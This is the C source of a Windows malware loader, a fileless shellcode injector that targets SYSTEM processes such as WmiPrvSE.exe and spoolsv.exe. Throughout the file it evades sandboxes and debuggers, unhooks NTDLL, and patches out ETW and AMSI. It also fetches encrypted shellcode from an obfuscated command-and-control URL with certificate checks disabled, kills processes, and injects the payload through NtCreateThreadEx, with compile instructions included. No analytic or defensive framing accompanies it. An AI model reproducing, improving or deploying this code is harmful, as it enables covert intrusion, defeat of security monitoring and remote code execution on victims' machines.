/*
 * inject_system.c — RevSocks v4 Fileless Shellcode Injector (SYSTEM-level)
 *
 * Targets SYSTEM processes: WmiPrvSE.exe, spoolsv.exe, SearchIndexer.exe.
 * Kills old WmiPrvSE instances to evict stale agents, waits for fresh respawn.
 *
 * Improvements over v3:
 *   - NTDLL unhooking (remap from disk) before injection
 *   - ETW + AMSI patching
 *   - Anti-sandbox: timing, core count, RAM, idle check
 *   - SeDebugPrivilege enablement
 *   - NtCreateThreadEx (not CreateRemoteThread)
 *   - RW→RX memory transition (avoid RWX)
 *   - XOR-encrypted C2 URL decoded at runtime
 *   - Polymorphic function names via POLY_ macros
 *   - Shellcode zeroed in local memory before free
 *
 * Compile:
 *   x86_64-w64-mingw32-gcc -O2 -s -mwindows inject_system.c -o inject_system.exe \
 *       -lwininet -ladvapi32 version_res.o
 */

#include <windows.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <stdint.h>
#include <string.h>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "advapi32.lib")

/* ---------- build-time placeholders (patched by rebuild.sh) ---------- */

static volatile unsigned char POLY_xor_key[32] = {
    0xde,0xad,0xbe,0xef,0xca,0xfe,0xba,0xbe,
    0x13,0x37,0x42,0x69,0xaa,0xbb,0xcc,0xdd,
    0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,
    0x99,0x00,0xab,0xcd,0xef,0x12,0x34,0x56
};

#define STR_XOR_KEY 0x5A

/* Encrypted C2 URL — rebuilt per build */
static unsigned char enc_url[] = {
    0x32,0x2e,0x2e,0x2a,0x60,0x75,0x75,
    0x00 /* placeholder — rebuild.sh replaces entire array */
};
static int enc_url_len = 0; /* patched by rebuild.sh */

/* ---------- NT types ---------- */

typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((s) >= 0)

typedef NTSTATUS (NTAPI *fnNtCreateThreadEx)(
    PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes,
    HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter,
    ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit,
    SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer);

typedef NTSTATUS (NTAPI *fnNtWriteVirtualMemory)(
    HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
    SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);

typedef NTSTATUS (NTAPI *fnNtAllocateVirtualMemory)(
    HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits,
    PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);

typedef NTSTATUS (NTAPI *fnNtProtectVirtualMemory)(
    HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize,
    ULONG NewProtect, PULONG OldProtect);

/* ---------- inline helpers (no CRT) ---------- */

static void *rs_memset(void *d, int c, size_t n) {
    unsigned char *p = (unsigned char *)d;
    while (n--) *p++ = (unsigned char)c;
    return d;
}

static void *rs_memcpy(void *d, const void *s, size_t n) {
    unsigned char *dp = (unsigned char *)d;
    const unsigned char *sp = (const unsigned char *)s;
    while (n--) *dp++ = *sp++;
    return d;
}

/* ---------- string decode ---------- */

static void POLY_str_decode(unsigned char *s, int len) {
    for (int i = 0; i < len; i++)
        s[i] ^= STR_XOR_KEY;
}

/* ---------- SeDebugPrivilege ---------- */

static void POLY_enable_debug_priv(void) {
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return;

    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tp.Privileges[0].Luid);
    AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
    CloseHandle(hToken);
}

/* ---------- NTDLL unhooking ---------- */

static void POLY_unhook_ntdll(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return;

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE *)hNtdll + dos->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

    PVOID textBase = NULL;
    DWORD textSize = 0;
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            textBase = (PVOID)((BYTE *)hNtdll + sec[i].VirtualAddress);
            textSize = sec[i].Misc.VirtualSize;
            break;
        }
    }
    if (!textBase || !textSize) return;

    /* Read clean ntdll from System32 */
    char path[MAX_PATH];
    GetSystemDirectoryA(path, MAX_PATH);
    lstrcatA(path, "\\ntdll.dll");

    HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return;

    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE *rawNtdll = (BYTE *)VirtualAlloc(NULL, fileSize,
                                           MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!rawNtdll) { CloseHandle(hFile); return; }

    DWORD bytesRead;
    ReadFile(hFile, rawNtdll, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    PIMAGE_DOS_HEADER rawDos = (PIMAGE_DOS_HEADER)rawNtdll;
    PIMAGE_NT_HEADERS rawNt  = (PIMAGE_NT_HEADERS)(rawNtdll + rawDos->e_lfanew);
    PIMAGE_SECTION_HEADER rawSec = IMAGE_FIRST_SECTION(rawNt);

    PVOID cleanText = NULL;
    for (WORD i = 0; i < rawNt->FileHeader.NumberOfSections; i++) {
        if (rawSec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            cleanText = (PVOID)(rawNtdll + rawSec[i].PointerToRawData);
            break;
        }
    }
    if (!cleanText) { VirtualFree(rawNtdll, 0, MEM_RELEASE); return; }

    DWORD oldProt;
    VirtualProtect(textBase, textSize, PAGE_EXECUTE_READWRITE, &oldProt);
    rs_memcpy(textBase, cleanText, textSize);
    VirtualProtect(textBase, textSize, oldProt, &oldProt);

    VirtualFree(rawNtdll, 0, MEM_RELEASE);
}

/* ---------- ETW patch ---------- */

static void POLY_patch_etw(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return;
    FARPROC pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!pEtw) return;

    unsigned char patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; /* xor rax,rax; ret */
    DWORD oldProt;
    VirtualProtect((LPVOID)pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
    rs_memcpy((LPVOID)pEtw, patch, sizeof(patch));
    VirtualProtect((LPVOID)pEtw, sizeof(patch), oldProt, &oldProt);
}

/* ---------- AMSI patch ---------- */

static void POLY_patch_amsi(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) return;
    FARPROC pScan = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pScan) return;

    unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    DWORD oldProt;
    VirtualProtect((LPVOID)pScan, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
    rs_memcpy((LPVOID)pScan, patch, sizeof(patch));
    VirtualProtect((LPVOID)pScan, sizeof(patch), oldProt, &oldProt);
}

/* ---------- anti-sandbox ---------- */

static int POLY_sandbox_check(void) {
    DWORD t1 = GetTickCount();
    Sleep(3500 + (GetTickCount() % 2500));
    DWORD t2 = GetTickCount();
    if ((t2 - t1) < 3000) return 0;

    SYSTEM_INFO si;
    GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 2) return 0;

    MEMORYSTATUSEX mem;
    mem.dwLength = sizeof(mem);
    GlobalMemoryStatusEx(&mem);
    if (mem.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return 0;

    LASTINPUTINFO lii;
    lii.cbSize = sizeof(lii);
    if (GetLastInputInfo(&lii)) {
        DWORD idle_ms = GetTickCount() - lii.dwTime;
        (void)idle_ms; /* used by rebuild.sh to inject additional checks */
    }

    if (GetModuleHandleA("SbieDll.dll")) return 0;
    if (IsDebuggerPresent()) return 0;

    return 1;
}

/* ---------- download shellcode ---------- */

static uint8_t *POLY_fetch_payload(int *out_len) {
    POLY_str_decode(enc_url, enc_url_len);

    HINTERNET hInet = InternetOpenA(
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInet) return NULL;

    DWORD flags = 0x84803000;
    HINTERNET hUrl = InternetOpenUrlA(hInet, (char *)enc_url, NULL, 0, flags, 0);
    if (!hUrl) { InternetCloseHandle(hInet); return NULL; }

    DWORD secFlags = 0x00003380;
    InternetSetOptionA(hUrl, INTERNET_OPTION_SECURITY_FLAGS, &secFlags, sizeof(secFlags));

    uint8_t *buf = (uint8_t *)VirtualAlloc(NULL, 512 * 1024,
                                            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!buf) { InternetCloseHandle(hUrl); InternetCloseHandle(hInet); return NULL; }

    DWORD total = 0, bytesRead;
    while (InternetReadFile(hUrl, buf + total, 8192, &bytesRead) && bytesRead > 0) {
        total += bytesRead;
        if (total > 500 * 1024) break;
    }
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInet);

    *out_len = (int)total;
    return buf;
}

/* ---------- find process PID ---------- */

static DWORD POLY_find_pid(const char *name) {
    DWORD pid = 0;
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pe;
    rs_memset(&pe, 0, sizeof(pe));
    pe.dwSize = sizeof(pe);

    if (Process32First(snap, &pe)) {
        do {
            if (lstrcmpiA(pe.szExeFile, name) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    return pid;
}

/* ---------- kill all WmiPrvSE and wait for fresh one ---------- */

static DWORD POLY_kill_and_wait_wmi(void) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32 pe;
        rs_memset(&pe, 0, sizeof(pe));
        pe.dwSize = sizeof(pe);

        if (Process32First(snap, &pe)) {
            do {
                if (lstrcmpiA(pe.szExeFile, "WmiPrvSE.exe") == 0) {
                    HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
                    if (h) {
                        TerminateProcess(h, 0);
                        CloseHandle(h);
                    }
                }
            } while (Process32Next(snap, &pe));
        }
        CloseHandle(snap);
    }

    /* Wait up to 60 seconds for WmiPrvSE to respawn (WMI auto-restarts it) */
    for (int attempt = 0; attempt < 10; attempt++) {
        Sleep(6000);
        DWORD pid = POLY_find_pid("WmiPrvSE.exe");
        if (pid) return pid;
    }
    return 0;
}

/* ---------- inject via NtCreateThreadEx ---------- */

static int POLY_inject_shellcode(DWORD pid, uint8_t *sc, int sc_len) {
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) return 0;

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    fnNtAllocateVirtualMemory pNtAlloc =
        (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    fnNtWriteVirtualMemory pNtWrite =
        (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    fnNtProtectVirtualMemory pNtProtect =
        (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    fnNtCreateThreadEx pNtCreateThread =
        (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

    if (!pNtAlloc || !pNtWrite || !pNtCreateThread) {
        CloseHandle(hProc);
        return 0;
    }

    /* Allocate RW in target */
    PVOID remoteBase = NULL;
    SIZE_T regionSize = (SIZE_T)sc_len;
    NTSTATUS st = pNtAlloc(hProc, &remoteBase, 0, &regionSize,
                           MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(st) || !remoteBase) {
        CloseHandle(hProc);
        return 0;
    }

    /* Write shellcode */
    SIZE_T written = 0;
    st = pNtWrite(hProc, remoteBase, sc, (SIZE_T)sc_len, &written);
    if (!NT_SUCCESS(st)) {
        CloseHandle(hProc);
        return 0;
    }

    /* RW → RX */
    if (pNtProtect) {
        ULONG oldProt;
        SIZE_T protSize = regionSize;
        pNtProtect(hProc, &remoteBase, &protSize, PAGE_EXECUTE_READ, &oldProt);
    }

    /* Create thread */
    HANDLE hThread = NULL;
    st = pNtCreateThread(&hThread, THREAD_ALL_ACCESS, NULL, hProc,
                         remoteBase, NULL, 0, 0, 0, 0, NULL);
    if (NT_SUCCESS(st) && hThread)
        CloseHandle(hThread);

    CloseHandle(hProc);
    return NT_SUCCESS(st) ? 1 : 0;
}

/* ---------- entry point ---------- */

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
    /* Phase 1: Anti-sandbox */
    if (!POLY_sandbox_check())
        return 0;

    /* Phase 2: Enable SeDebugPrivilege (required for SYSTEM process access) */
    POLY_enable_debug_priv();

    /* Phase 3: Unhook NTDLL */
    POLY_unhook_ntdll();

    /* Phase 4: Patch ETW + AMSI */
    POLY_patch_etw();
    POLY_patch_amsi();

    /* Phase 5: Download encrypted shellcode */
    int sc_len = 0;
    uint8_t *sc_data = POLY_fetch_payload(&sc_len);
    if (!sc_data || sc_len < 100)
        return 1;

    /* Phase 6: XOR decrypt */
    for (int i = 0; i < sc_len; i++)
        sc_data[i] ^= POLY_xor_key[i % 32];

    /* Phase 7: Kill old WmiPrvSE, wait for fresh respawn */
    DWORD targetPid = POLY_kill_and_wait_wmi();

    /* Fallback targets if WmiPrvSE didn't respawn */
    if (!targetPid)
        targetPid = POLY_find_pid("spoolsv.exe");
    if (!targetPid)
        targetPid = POLY_find_pid("SearchIndexer.exe");
    if (!targetPid) {
        rs_memset(sc_data, 0, sc_len);
        VirtualFree(sc_data, 0, MEM_RELEASE);
        return 1;
    }

    /* Phase 8: Inject */
    int result = POLY_inject_shellcode(targetPid, sc_data, sc_len);

    /* Phase 9: Secure cleanup */
    rs_memset(sc_data, 0, sc_len);
    VirtualFree(sc_data, 0, MEM_RELEASE);

    Sleep(5000);
    return result ? 0 : 1;
}
